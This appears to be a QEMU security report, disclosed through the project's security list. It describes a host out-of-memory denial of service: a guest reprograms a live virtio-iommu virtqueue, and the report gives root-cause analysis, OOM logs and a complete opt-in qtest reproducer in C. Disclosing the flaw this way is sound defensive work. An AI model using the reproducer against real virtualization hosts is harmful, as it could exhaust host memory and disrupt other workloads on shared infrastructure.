hw/virtio: virtio-iommu live virtqueue reprogramming can drive host OOM
Imported by the "Security Issuer Importer" bot, on behalf of the original reporter who disclosed via qemu-security list:
- From:
Jia Jia <physicalmtea@gmail.com> - Date:
09 Jun, 2026 - Message ID:
<178099254737.971471.16261651395298126875@gmail.com>
NOTE: the original reporter can not be copied on this issue so cannot view this ticket while it remains marked confidential. If further information is needed about the disclosure, contact the reporter directly.
This was originally found while using a local runtime fuzzing harness for guest-visible virtio PCI state. I have manually triaged the result and reduced it to the qtest reproducer described below.
I am not completely sure whether this should be handled as a security issue or as a normal bug. With a normal guest driver I do not expect this sequence to happen. It requires deliberately constructing unusual virtqueue state, specifically split-vring addresses and avail/used index values, while the device is already running.
However, when the QEMU process is not under a memory cgroup (memcg) limit or another hard memory limit, its memory usage grows rapidly until the host OOM killer runs. If a guest keeps constructing this abnormal queue state, the effect is not just a self-DoS of that VM process; it can put the whole host under memory pressure. For that reason I am sending this to qemu-security first. Please decide whether this should be treated as a security issue or as a regular bug.
The issue I can reproduce is a host-side OOM in QEMU's virtio-iommu path. A
guest-controlled virtio PCI common configuration sequence reprograms the live
virtio-iommu control virtqueue. QEMU accepts the new queue size and ring
addresses through a queue_enable = 1 write in the virtio PCI modern common
configuration space, but the host-side virtqueue progress state is not reset.
With a small replacement ring and a low avail index, the old host-side queue index can wrap through the 16-bit virtqueue index space. A finite input then expands into tens of thousands of virtio-iommu control command dispatches.
This is expensive for virtio-iommu because attach/detach/map/unmap requests switch endpoint address spaces, replay IOMMU map/unmap notifications, and trigger QEMU memory topology work. On x86_64, I can reproduce host global OOM with the kernel OOM killer killing qemu-system-x86.
I am not claiming arbitrary host code execution or a host memory write primitive. The observed impact is host-side denial of service.
Tested version
Local qemu.git tree used for the x86_64 qtest reproduction:
ee7eb612be8f8886d48c1d0c1f1c65e495138f83
2026-05-06 10:45:02 -0400
Merge tag 'single-binary-20260506' of https://github.com/philmd/qemu into stagingQEMU version reported by the build:
qemu 11.0.50ASAN/UBSAN x86_64 qtest build:
/home/jia/qemu-master-unpatched/build-x86_64-asan-latest/qemu-system-x86_64The reproducer is x86_64/q35. It does not depend on Arm-specific behavior.
Affected configuration
The qtest reproducer starts QEMU with:
-M q35 -m 512M -nodefaults
-drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw
-device virtio-iommu-pci,id=viommu0,disable-legacy=on,addr=04.0
-device virtio-blk-pci,id=vblk1,drive=drive0,disable-legacy=on,iommu_platform=on,addr=05.0
-accel qtestThe virtio-blk device is only used as the endpoint behind the virtio-iommu. It is not the component I believe to be faulty. The endpoint id is:
endpoint id = QPCI_DEVFN(5, 0) = 40The reproducer uses the modern virtio PCI common configuration space and split virtqueues.
Impact
The guest-controlled input causes QEMU to consume host memory. In the observed runs, the host entered global OOM and killed the QEMU process:
Out of memory: Killed process ... (qemu-system-x86)Before the OOM kill, the host can be under significant memory pressure. The exact victim process is a host-kernel OOM policy decision, but in the confirmed runs below qemu-system-x86 was killed.
Root cause
The issue is the interaction between live virtqueue reprogramming and virtio-iommu's endpoint lifecycle operations.
The virtio PCI common configuration write path accepts a write of
queue_enable = 1 and re-applies queue size and ring addresses:
hw/virtio/virtio-pci.c:1719-1732
case VIRTIO_PCI_COMMON_Q_ENABLE:
if (val == 1) {
virtio_queue_set_num(vdev, vdev->queue_sel,
proxy->vqs[vdev->queue_sel].num);
virtio_queue_set_rings(vdev, vdev->queue_sel,
((uint64_t)proxy->vqs[vdev->queue_sel].desc[1]) << 32 |
proxy->vqs[vdev->queue_sel].desc[0],
((uint64_t)proxy->vqs[vdev->queue_sel].avail[1]) << 32 |
proxy->vqs[vdev->queue_sel].avail[0],
((uint64_t)proxy->vqs[vdev->queue_sel].used[1]) << 32 |
proxy->vqs[vdev->queue_sel].used[0]);
proxy->vqs[vdev->queue_sel].enabled = 1;
proxy->vqs[vdev->queue_sel].reset = 0;
virtio_queue_enable(vdev, vdev->queue_sel);virtio_queue_set_rings() only updates the ring addresses and the region cache:
hw/virtio/virtio.c:2399-2408
void virtio_queue_set_rings(VirtIODevice *vdev, int n, hwaddr desc,
hwaddr avail, hwaddr used)
{
if (!vdev->vq[n].vring.num) {
return;
}
vdev->vq[n].vring.desc = desc;
vdev->vq[n].vring.avail = avail;
vdev->vq[n].vring.used = used;
virtio_init_region_cache(vdev, n);
}It does not reset host-side progress state. The actual queue reset path does:
hw/virtio/virtio.c:2333-2350
static void __virtio_queue_reset(VirtIODevice *vdev, uint32_t i)
{
vdev->vq[i].vring.desc = 0;
vdev->vq[i].vring.avail = 0;
vdev->vq[i].vring.used = 0;
vdev->vq[i].last_avail_idx = 0;
vdev->vq[i].shadow_avail_idx = 0;
vdev->vq[i].used_idx = 0;
...
vdev->vq[i].vring.num = vdev->vq[i].vring.num_default;
vdev->vq[i].inuse = 0;
virtio_virtqueue_reset_region_cache(&vdev->vq[i]);
}For split rings, virtqueue_empty_rcu() can decide the queue is non-empty from stale shadow/last avail state:
hw/virtio/virtio.c:722-736
static int virtio_queue_empty_rcu(VirtQueue *vq)
{
...
if (vq->shadow_avail_idx != vq->last_avail_idx) {
return 0;
}
return vring_avail_idx(vq) == vq->last_avail_idx;
}Then virtqueue_pop() consumes from last_avail_idx and increments it:
hw/virtio/virtio.c:1750-1769
RCU_READ_LOCK_GUARD();
if (virtio_queue_empty_rcu(vq)) {
goto done;
}
...
if (!virtqueue_get_head(vq, vq->last_avail_idx++, &head)) {
goto done;
}If the guest reprograms a live queue to a new small split ring whose avail->idx is lower than the previous host-side last_avail_idx or shadow_avail_idx, the 16-bit index arithmetic can make the queue appear non-empty for a very large number of iterations. Since each virtio-iommu command is pushed and flushed immediately, vq->inuse drops again and does not bound the loop.
The effect is amplified by virtio-iommu. attach() can detach an already attached endpoint, switch address space, and replay mappings:
hw/virtio/virtio-iommu.c:732-758
if (ep->domain) {
VirtIOIOMMUDomain *previous_domain = ep->domain;
virtio_iommu_detach_endpoint_from_domain(ep);
if (QLIST_EMPTY(&previous_domain->endpoint_list)) {
g_tree_remove(s->domains, GUINT_TO_POINTER(previous_domain->id));
}
}
...
ep->domain = domain;
sdev = container_of(ep->iommu_mr, IOMMUDevice, iommu_mr);
virtio_iommu_switch_address_space(sdev);
g_tree_foreach(domain->mappings, virtio_iommu_notify_map_cb,
ep->iommu_mr);detach_endpoint_from_domain() replays unmap notifications and switches the address space:
hw/virtio/virtio-iommu.c:302-315
static void virtio_iommu_detach_endpoint_from_domain(VirtIOIOMMUEndpoint *ep)
{
...
g_tree_foreach(domain->mappings, virtio_iommu_notify_unmap_cb,
ep->iommu_mr);
QLIST_REMOVE(ep, next);
ep->domain = NULL;
virtio_iommu_switch_address_space(sdev);
}The address-space switch toggles memory regions:
hw/virtio/virtio-iommu.c:123-129
if (use_remapping) {
memory_region_set_enabled(&sdev->bypass_mr, false);
memory_region_set_enabled(MEMORY_REGION(&sdev->iommu_mr), true);
} else {
memory_region_set_enabled(MEMORY_REGION(&sdev->iommu_mr), false);
memory_region_set_enabled(&sdev->bypass_mr, true);
}memory_region_set_enabled() commits a memory transaction:
system/memory.c:2648-2656
void memory_region_set_enabled(MemoryRegion *mr, bool enabled)
{
if (enabled == mr->enabled) {
return;
}
memory_region_transaction_begin();
mr->enabled = enabled;
memory_region_update_pending = true;
memory_region_transaction_commit();
}So the inflated command stream repeatedly forces QEMU through memory topology updates and IOMMU notification paths. In the observed runtime trace, QEMU processed 65536 unmap operations and 65536 detach operations, which matches a 16-bit virtqueue index wraparound shape.
Why this is a lifecycle grammar
The reproducer is a small lifecycle grammar, not a single hard-coded command. It first shapes both the virtqueue state and the virtio-iommu endpoint/domain state:
phases: attach,map,unmap,detach
cycles: 2
inner rounds per phase: 3
queue depth ladder: 8,4,2
avail base ladder: 0,1,2
avail idx ladder: 0,1,2
used idx ladder: 0,0,0The first full lifecycle cycle is:
cycle0-attach round0,round1,round2
cycle0-map round0,round1,round2
cycle0-unmap round0,round1,round2
cycle0-detach round0,round1,round2That is 4 helper invocations and 12 inner rounds. The next lifecycle phase is cycle1-attach. In the x86_64 run, the bad state is reached there: the test has already advanced host-side queue progress through several live ring reprogramming rounds, and then it re-enters attach with a fresh small ring and low index values.
Reproducer
Below is the complete qtest reproducer I used. It is not a proposed fix; it is only the test program used to reproduce the host OOM.
The qtest is skipped by default. It must be explicitly enabled because vulnerable builds can be killed by host OOM:
QEMU_TEST_VIOMMU_LIVE_REPROGRAM=1Build after adding the qtest to the QEMU qtest tree:
ninja -C build-x86_64-asan-latest tests/qtest/virtio-iommu-live-reprogramming-testDefault skip check:
QTEST_QEMU_BINARY=build-x86_64-asan-latest/qemu-system-x86_64 \
build-x86_64-asan-latest/tests/qtest/virtio-iommu-live-reprogramming-test \
--tap -k -p /x86_64/virtio-iommu/live-vring-reprogramming/lifecycleExpected default result:
ok 1 /x86_64/virtio-iommu/live-vring-reprogramming/lifecycle # SKIP ...Enabled run for reproducing the OOM:
QTEST_QEMU_BINARY=/home/jia/qemu-master-unpatched/build-x86_64-asan-latest/qemu-system-x86_64 \
QEMU_TEST_VIOMMU_LIVE_REPROGRAM=1 \
QEMU_TEST_VIOMMU_LIVE_REPROGRAM_CYCLES=2 \
QEMU_TEST_VIOMMU_LIVE_REPROGRAM_ROUNDS=3 \
/home/jia/qemu-master-unpatched/build-x86_64-asan-latest/tests/qtest/virtio-iommu-live-reprogramming-test \
--tap -k -p /x86_64/virtio-iommu/live-vring-reprogramming/lifecycleOOM evidence
Representative qtest run:
host dmesg:
[Tue Jun 9 10:33:02 2026] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/user.slice/user-0.slice/session-833.scope,task=qemu-system-x86,pid=967735,uid=0
[Tue Jun 9 10:33:02 2026] Out of memory: Killed process 967735 (qemu-system-x86) total-vm:21475668252kB, anon-rss:2532556kB, file-rss:128kB, shmem-rss:0kB, UID:0 pgtables:23160kB oom_score_adj:0The qtest wrapper was run under timeout --foreground 180s, so the wrapper exit status was 124. The relevant host-side result is the dmesg OOM kill of the QEMU process.
Additional local runtime evidence from the same grammar:
QEMU exit code:
137
host dmesg:
Out of memory: Killed process 963007 (qemu-system-x86)
peak RSS:
max_rss_kb=2575860, about 2515.5 MB
trace counts:
virtio_iommu_attach=4317
virtio_iommu_map=1
virtio_iommu_unmap=65536
virtio_iommu_detach=65536
virtio_iommu_switch_address_space=8646Fix direction
I have not included a proposed final fix in this report because there are a few possible policy choices in the virtio PCI transport layer. The invariant that seems important is:
-
a
queue_enable = 1write should not be allowed to reprogram an already enabled queue in a way that preserves stale host-side queue progress; or -
if such reprogramming is accepted, QEMU must reset the same host-side progress state that the real queue reset path resets before consuming the new ring.
The affected state includes at least:
last_avail_idx
shadow_avail_idx
used_idx
inuse
ring cache / ring addressesI would prefer maintainer guidance on whether the correct fix should reject
enabled-queue live reprogramming, require explicit queue reset first, or
centralize a safe reinitialization path for queue_enable.
Public duplicate check
I did not find a public report or patch for this virtio-iommu live virtqueue reprogramming host OOM.
Checks performed before preparing this report:
-
local qemu.git history and visible local/remotes using virtio-iommu, virtio_iommu_switch_address_space, queue_enable, OOM, last_avail_idx and related terms;
-
Patchew searches for: virtio-iommu queue_enable OOM virtio_iommu_switch_address_space
Both returned "No patches found" for the searched terms.
-
public web searches over QEMU GitLab, Patchew and lore-style results using: virtio-iommu OOM virtio_iommu_switch_address_space virtio-iommu queue_enable OOM virtio-iommu live vring
I found unrelated virtio and IOMMU issues, but not this live virtqueue reprogramming / virtio-iommu host OOM issue.
Full qtest source
The qtest source below is the same qtest program that reproduced the OOM shown above.
It does not patch the virtio-iommu device implementation. It drives QEMU only through the qtest-visible PCI config, guest memory, and queue notify interfaces.
/*
* qtest workload for virtio-iommu PCI live vring reprogramming.
*
* This is intentionally opt-in because the finite grammar repeatedly
* reprograms an active control queue.
*
* SPDX-License-Identifier: GPL-2.0-or-later
*/
#include "qemu/osdep.h"
#include "qemu/bswap.h"
#include "libqtest.h"
#include "libqos/malloc-pc.h"
#include "libqos/pci-pc.h"
#include "libqos/virtio-pci.h"
#include "libqos/virtio.h"
#include "standard-headers/linux/virtio_config.h"
#include "standard-headers/linux/virtio_ids.h"
#include "standard-headers/linux/virtio_iommu.h"
#include "standard-headers/linux/virtio_pci.h"
#include "standard-headers/linux/virtio_ring.h"
#define IOMMU_SLOT 0x04
#define TARGET_SLOT 0x05
#define IOMMU_QUEUE 0
#define IOMMU_DOMAIN 2
#define TARGET_ENDPOINT_ID QPCI_DEVFN(TARGET_SLOT, 0)
#define RING_ALIGN VIRTIO_PCI_VRING_ALIGN
#define MANUAL_ENABLE_ENV "QEMU_TEST_VIOMMU_LIVE_REPROGRAM"
typedef enum RawIommuPhase {
RAW_PHASE_ATTACH,
RAW_PHASE_MAP,
RAW_PHASE_UNMAP,
RAW_PHASE_DETACH,
} RawIommuPhase;
typedef struct RawVringShape {
uint16_t queue_limit;
uint16_t avail_base;
uint16_t avail_idx;
uint16_t used_idx;
} RawVringShape;
typedef struct RawSendResult {
uint16_t notify_off;
uint16_t notify_data;
} RawSendResult;
typedef struct RawCtx {
QTestState *qts;
QGuestAllocator alloc;
QPCIBus *bus;
QVirtioPCIDevice iommu;
QVirtQueue *initial_vq;
uint64_t features;
uint16_t max_queue_size;
} RawCtx;
static void guest_writew_le(QTestState *qts, uint64_t addr, uint16_t val)
{
val = cpu_to_le16(val);
qtest_memwrite(qts, addr, &val, sizeof(val));
}
static uint16_t raw_common_readw(QVirtioPCIDevice *dev, uint32_t off)
{
return qpci_io_readw(dev->pdev, dev->bar, dev->common_cfg_offset + off);
}
static void raw_common_writew(QVirtioPCIDevice *dev, uint32_t off, uint16_t val)
{
qpci_io_writew(dev->pdev, dev->bar, dev->common_cfg_offset + off, val);
}
static void raw_common_writel(QVirtioPCIDevice *dev, uint32_t off, uint32_t val)
{
qpci_io_writel(dev->pdev, dev->bar, dev->common_cfg_offset + off, val);
}
static void raw_common_writeq_split(QVirtioPCIDevice *dev, uint32_t lo_off,
uint32_t hi_off, uint64_t val)
{
raw_common_writel(dev, lo_off, val);
raw_common_writel(dev, hi_off, val >> 32);
}
static unsigned getenv_uint(const char *name, unsigned fallback)
{
const char *value = g_getenv(name);
uint64_t parsed;
char *endptr = NULL;
if (!value || !*value) {
return fallback;
}
parsed = g_ascii_strtoull(value, &endptr, 0);
if (endptr == value || *endptr != '\0' || parsed > UINT_MAX) {
return fallback;
}
return parsed;
}
static const char *phase_name(RawIommuPhase phase)
{
switch (phase) {
case RAW_PHASE_ATTACH:
return "attach";
case RAW_PHASE_MAP:
return "map";
case RAW_PHASE_UNMAP:
return "unmap";
case RAW_PHASE_DETACH:
return "detach";
default:
g_assert_not_reached();
}
}
static uint8_t phase_req_type(RawIommuPhase phase)
{
switch (phase) {
case RAW_PHASE_ATTACH:
return VIRTIO_IOMMU_T_ATTACH;
case RAW_PHASE_MAP:
return VIRTIO_IOMMU_T_MAP;
case RAW_PHASE_UNMAP:
return VIRTIO_IOMMU_T_UNMAP;
case RAW_PHASE_DETACH:
return VIRTIO_IOMMU_T_DETACH;
default:
g_assert_not_reached();
}
}
static uint16_t pick_queue_size(uint16_t max_queue_size, uint16_t limit)
{
uint16_t size = max_queue_size;
g_assert_cmpint(size, >=, 2);
if (limit == 0) {
limit = size;
}
while (size > limit && size > 2) {
size >>= 1;
}
if (size < 2) {
size = 2;
}
return size;
}
static RawVringShape shape_for_round(uint16_t base_queue_limit, unsigned round)
{
uint16_t q0 = base_queue_limit ? base_queue_limit : 8;
uint16_t q1 = q0 > 2 ? q0 / 2 : q0;
uint16_t q2 = q1 > 2 ? q1 / 2 : q1;
static const uint16_t avail_bases[] = { 0, 1, 2 };
static const uint16_t avail_idxs[] = { 0, 1, 2 };
static const uint16_t used_idxs[] = { 0, 0, 0 };
RawVringShape shape;
switch (round % 3) {
case 0:
shape.queue_limit = q0;
break;
case 1:
shape.queue_limit = q1;
break;
default:
shape.queue_limit = q2;
break;
}
shape.avail_base = avail_bases[round % G_N_ELEMENTS(avail_bases)];
shape.avail_idx = avail_idxs[round % G_N_ELEMENTS(avail_idxs)];
shape.used_idx = used_idxs[round % G_N_ELEMENTS(used_idxs)];
return shape;
}
static void raw_write_desc(QTestState *qts, QVirtQueue *vq, uint16_t index,
uint64_t addr, uint32_t len, uint16_t flags,
uint16_t next)
{
struct vring_desc desc = {
.addr = cpu_to_le64(addr),
.len = cpu_to_le32(len),
.flags = cpu_to_le16(flags),
.next = cpu_to_le16(next),
};
qtest_memwrite(qts, vq->desc + index * sizeof(desc), &desc, sizeof(desc));
}
static size_t build_iommu_request(RawIommuPhase phase, uint8_t *buf,
size_t buf_size)
{
union {
struct virtio_iommu_req_attach attach;
struct virtio_iommu_req_map map;
struct virtio_iommu_req_unmap unmap;
struct virtio_iommu_req_detach detach;
} req;
memset(&req, 0, sizeof(req));
switch (phase) {
case RAW_PHASE_ATTACH:
req.attach.head.type = VIRTIO_IOMMU_T_ATTACH;
req.attach.domain = cpu_to_le32(IOMMU_DOMAIN);
req.attach.endpoint = cpu_to_le32(TARGET_ENDPOINT_ID);
g_assert_cmpuint(sizeof(req.attach) - sizeof(req.attach.tail), <=,
buf_size);
memcpy(buf, &req.attach, sizeof(req.attach) - sizeof(req.attach.tail));
return sizeof(req.attach) - sizeof(req.attach.tail);
case RAW_PHASE_MAP:
req.map.head.type = VIRTIO_IOMMU_T_MAP;
req.map.domain = cpu_to_le32(IOMMU_DOMAIN);
req.map.virt_start = cpu_to_le64(0);
req.map.virt_end = cpu_to_le64(UINT32_MAX);
req.map.phys_start = cpu_to_le64(0);
req.map.flags = cpu_to_le32(VIRTIO_IOMMU_MAP_F_READ |
VIRTIO_IOMMU_MAP_F_WRITE);
g_assert_cmpuint(sizeof(req.map) - sizeof(req.map.tail), <=,
buf_size);
memcpy(buf, &req.map, sizeof(req.map) - sizeof(req.map.tail));
return sizeof(req.map) - sizeof(req.map.tail);
case RAW_PHASE_UNMAP:
req.unmap.head.type = VIRTIO_IOMMU_T_UNMAP;
req.unmap.domain = cpu_to_le32(IOMMU_DOMAIN);
req.unmap.virt_start = cpu_to_le64(0);
req.unmap.virt_end = cpu_to_le64(UINT32_MAX);
g_assert_cmpuint(sizeof(req.unmap) - sizeof(req.unmap.tail), <=,
buf_size);
memcpy(buf, &req.unmap, sizeof(req.unmap) - sizeof(req.unmap.tail));
return sizeof(req.unmap) - sizeof(req.unmap.tail);
case RAW_PHASE_DETACH:
req.detach.head.type = VIRTIO_IOMMU_T_DETACH;
req.detach.domain = cpu_to_le32(IOMMU_DOMAIN);
req.detach.endpoint = cpu_to_le32(TARGET_ENDPOINT_ID);
g_assert_cmpuint(sizeof(req.detach) - sizeof(req.detach.tail), <=,
buf_size);
memcpy(buf, &req.detach, sizeof(req.detach) - sizeof(req.detach.tail));
return sizeof(req.detach) - sizeof(req.detach.tail);
default:
g_assert_not_reached();
}
}
static RawSendResult raw_program_queue(RawCtx *ctx, QVirtQueue *vq)
{
QVirtioPCIDevice *dev = &ctx->iommu;
RawSendResult result = {};
raw_common_writew(dev, VIRTIO_PCI_COMMON_MSIX, VIRTIO_MSI_NO_VECTOR);
raw_common_writew(dev, VIRTIO_PCI_COMMON_Q_SELECT, vq->index);
raw_common_writew(dev, VIRTIO_PCI_COMMON_Q_MSIX, VIRTIO_MSI_NO_VECTOR);
raw_common_writew(dev, VIRTIO_PCI_COMMON_Q_SIZE, vq->size);
raw_common_writeq_split(dev, VIRTIO_PCI_COMMON_Q_DESCLO,
VIRTIO_PCI_COMMON_Q_DESCHI, vq->desc);
raw_common_writeq_split(dev, VIRTIO_PCI_COMMON_Q_AVAILLO,
VIRTIO_PCI_COMMON_Q_AVAILHI, vq->avail);
raw_common_writeq_split(dev, VIRTIO_PCI_COMMON_Q_USEDLO,
VIRTIO_PCI_COMMON_Q_USEDHI, vq->used);
result.notify_off = raw_common_readw(dev, VIRTIO_PCI_COMMON_Q_NOFF);
if (ctx->features & (1ull << VIRTIO_F_NOTIFICATION_DATA)) {
result.notify_data = raw_common_readw(dev, VIRTIO_PCI_COMMON_Q_NDATA);
} else {
result.notify_data = vq->index;
}
raw_common_writew(dev, VIRTIO_PCI_COMMON_Q_ENABLE, 1);
return result;
}
static void raw_notify_queue(RawCtx *ctx, const RawSendResult *result)
{
QVirtioPCIDevice *dev = &ctx->iommu;
uint64_t off = dev->notify_cfg_offset +
result->notify_off * dev->notify_off_multiplier;
qpci_io_writew(dev->pdev, dev->bar, off, result->notify_data);
}
static void raw_send_iommu_phase(RawCtx *ctx, RawIommuPhase phase,
const RawVringShape *shape)
{
uint8_t req[64];
struct virtio_iommu_req_tail tail = {};
QVirtQueue vq = {};
RawSendResult result;
uint64_t ring_addr;
uint64_t req_addr;
uint64_t tail_addr;
uint16_t queue_size;
uint16_t slot;
size_t req_len;
queue_size = pick_queue_size(ctx->max_queue_size, shape->queue_limit);
ring_addr = guest_alloc(&ctx->alloc, qvring_size(queue_size, RING_ALIGN));
req_addr = guest_alloc(&ctx->alloc, sizeof(req));
tail_addr = guest_alloc(&ctx->alloc, sizeof(tail));
memset(req, 0, sizeof(req));
req_len = build_iommu_request(phase, req, sizeof(req));
qtest_memwrite(ctx->qts, req_addr, req, req_len);
qtest_memwrite(ctx->qts, tail_addr, &tail, sizeof(tail));
vq.vdev = &ctx->iommu.vdev;
vq.index = IOMMU_QUEUE;
vq.size = queue_size;
vq.free_head = 0;
vq.num_free = queue_size;
vq.align = RING_ALIGN;
qvring_init(ctx->qts, &ctx->alloc, &vq, ring_addr);
raw_write_desc(ctx->qts, &vq, 0, req_addr, req_len, VRING_DESC_F_NEXT, 1);
raw_write_desc(ctx->qts, &vq, 1, tail_addr, sizeof(tail),
VRING_DESC_F_WRITE, 0);
slot = shape->avail_base % queue_size;
guest_writew_le(ctx->qts,
vq.avail + offsetof(struct vring_avail, ring) +
slot * sizeof(uint16_t), 0);
guest_writew_le(ctx->qts, vq.avail + offsetof(struct vring_avail, idx),
shape->avail_base + 1);
guest_writew_le(ctx->qts, vq.used + offsetof(struct vring_used, idx),
shape->used_idx);
guest_writew_le(ctx->qts, vq.avail + offsetof(struct vring_avail, idx),
shape->avail_idx);
result = raw_program_queue(ctx, &vq);
raw_notify_queue(ctx, &result);
qtest_clock_step(ctx->qts, 1000);
g_test_message("phase=%s req_type=%u q=%u avail_base=%u avail_idx=%u used_idx=%u",
phase_name(phase), phase_req_type(phase), queue_size,
shape->avail_base, shape->avail_idx, shape->used_idx);
}
static void raw_ctx_init(RawCtx *ctx)
{
QPCIAddress iommu_addr = {
.devfn = QPCI_DEVFN(IOMMU_SLOT, 0),
};
QVirtioDevice *vdev;
uint64_t features;
memset(ctx, 0, sizeof(*ctx));
ctx->qts = qtest_init("-M q35 -m 512M -nodefaults "
"-drive if=none,id=drive0,file=null-co://,"
"file.read-zeroes=on,format=raw "
"-device virtio-iommu-pci,id=viommu0,"
"disable-legacy=on,addr=04.0 "
"-device virtio-blk-pci,id=vblk1,drive=drive0,"
"disable-legacy=on,iommu_platform=on,addr=05.0");
pc_alloc_init(&ctx->alloc, ctx->qts, ALLOC_NO_FLAGS);
ctx->bus = qpci_new_pc(ctx->qts, &ctx->alloc);
virtio_pci_init(&ctx->iommu, ctx->bus, &iommu_addr);
g_assert_cmphex(ctx->iommu.vdev.device_type, ==, VIRTIO_ID_IOMMU);
qvirtio_pci_device_enable(&ctx->iommu);
vdev = &ctx->iommu.vdev;
qvirtio_start_device(vdev);
features = qvirtio_get_features(vdev);
features &= ~(QVIRTIO_F_BAD_FEATURE |
(1ull << VIRTIO_RING_F_INDIRECT_DESC) |
(1ull << VIRTIO_RING_F_EVENT_IDX) |
(1ull << VIRTIO_IOMMU_F_BYPASS));
qvirtio_set_features(vdev, features);
ctx->features = features;
ctx->initial_vq = qvirtqueue_setup(vdev, &ctx->alloc, IOMMU_QUEUE);
ctx->max_queue_size = ctx->initial_vq->size;
qvirtio_set_driver_ok(vdev);
g_assert_cmpint(ctx->max_queue_size, >=, 2);
}
static void raw_ctx_destroy(RawCtx *ctx)
{
if (ctx->initial_vq) {
qvirtqueue_cleanup(ctx->iommu.vdev.bus, ctx->initial_vq, &ctx->alloc);
}
qvirtio_pci_destructor(&ctx->iommu.obj);
if (ctx->bus) {
qpci_free_pc(ctx->bus);
}
alloc_destroy(&ctx->alloc);
if (ctx->qts) {
qtest_quit(ctx->qts);
}
}
static void test_live_vring_lifecycle(void)
{
static const RawIommuPhase phase_plan[] = {
RAW_PHASE_ATTACH,
RAW_PHASE_MAP,
RAW_PHASE_UNMAP,
RAW_PHASE_DETACH,
};
RawCtx ctx;
unsigned cycles;
unsigned rounds;
unsigned cycle;
unsigned phase_idx;
unsigned round;
if (!g_getenv(MANUAL_ENABLE_ENV)) {
g_test_skip("set " MANUAL_ENABLE_ENV " to run the manual workload");
return;
}
if (!qtest_has_device("virtio-iommu-pci") ||
!qtest_has_device("virtio-blk-pci")) {
g_test_skip("virtio-iommu-pci or virtio-blk-pci is unavailable");
return;
}
cycles = getenv_uint("QEMU_TEST_VIOMMU_LIVE_REPROGRAM_CYCLES", 2);
rounds = getenv_uint("QEMU_TEST_VIOMMU_LIVE_REPROGRAM_ROUNDS", 3);
if (rounds == 0) {
rounds = 1;
}
raw_ctx_init(&ctx);
for (cycle = 0; cycle < cycles; cycle++) {
for (phase_idx = 0; phase_idx < G_N_ELEMENTS(phase_plan); phase_idx++) {
RawIommuPhase phase = phase_plan[phase_idx];
for (round = 0; round < rounds; round++) {
RawVringShape shape = shape_for_round(8, round);
raw_send_iommu_phase(&ctx, phase, &shape);
}
}
}
for (round = 0; round < 100; round++) {
qtest_clock_step(ctx.qts, 1000);
}
raw_ctx_destroy(&ctx);
}
int main(int argc, char **argv)
{
g_test_init(&argc, &argv, NULL);
qtest_add_func("virtio-iommu/live-vring-reprogramming/lifecycle",
test_live_vring_lifecycle);
return g_test_run();
}